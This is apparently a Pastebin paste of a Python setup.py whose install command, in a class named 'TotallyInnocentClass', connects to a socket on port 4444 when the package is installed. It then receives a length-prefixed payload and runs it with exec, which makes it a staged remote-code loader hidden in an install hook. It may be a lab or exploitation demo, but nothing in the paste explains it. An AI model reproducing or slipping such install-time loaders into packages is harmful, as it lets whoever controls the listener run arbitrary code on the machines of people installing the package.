Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, struct
- from setuptools import setup
- from setuptools.command.install import install
- class TotallyInnocentClass(install):
- def run(self):
- s = socket.socket(2,1)
- s.connect(("localhost", 4444))
- l = struct.unpack(">I", s.recv(4))[0]
- d = s.recv(4096)
- while len(d) != l:
- d += s.recv(4096)
- exec(d, {"s": s})
- setup(
- cmdclass={
- "install": TotallyInnocentClass
- }
- )
Advertisement
Add Comment
Please, Sign In to add comment